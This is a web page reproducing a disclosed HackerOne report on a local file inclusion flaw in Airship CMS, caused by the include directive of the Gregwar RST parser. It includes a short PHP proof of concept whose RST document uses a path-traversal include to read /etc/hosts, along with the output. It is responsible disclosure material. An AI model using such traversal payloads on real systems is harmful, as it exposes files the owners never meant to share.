Skip to content
Path traversal Disclosed report Beginner

[Airship CMS] Local File Inclusion - RST Parser

h4ckninja Follow

Originally disclosed on HackerOne

  • Fixed in 13 hours
  • Disclosed after 13 hours

Airship uses the very useful RST Parser from Gregwar. However, the parser has the RST directive include built-in (why it isn't a separate directive per the spec, I don't know). However, as a result, LFI is possible in Airship.

I realize this isn't directly Paragonie's code, but since Airship uses this library, I wanted to let you know. I found two instances in the Airship codebase and don't appear to take this side effect in to account:

https://github.com/paragonie/airship/blob/58f96aa0e5002b60e74456502d9bfc9483d77b3d/src/Cabin/Hull/Landing/CustomPages.php#L186

https://github.com/paragonie/airship/blob/58f96aa0e5002b60e74456502d9bfc9483d77b3d/src/lens_functions.php#L714

The parser has this problem here:

https://github.com/Gregwar/RST/blob/master/Parser.php#L762. There doesn't appear to be a way for users of this library to turn it off short of re-implementing their own parser. The spec itself recognizes this security impact: http://docutils.sourceforge.net/docs/ref/rst/directives.html#include.

To demonstrate:

rst.php:

<?php

require('autoload.php');


$parser = new Gregwar\RST\Parser;

// RST document
$document = '*Test*

.. include:: /./../../../../../../../../../../../../../../../../../../etc/hosts

``test``
';

// Parse it
$html = $parser->parse($document);

// Render it
echo $html;

Output:

$ php rst.php
<p><em>Test</em></p>
<p>##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1	localhost
255.255.255.255	broadcasthost
::1             localhost </p>

[...]

The original report as published on HackerOne, by h4ckninja. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity path traversal bug in Paragon Initiative Enterprises. HackerOne made it public on 31 October 2016.

About Path traversal

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by h4ckninja

View all

1 more disclosed report, best first.

More from Paragon Initiative Enterprises

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.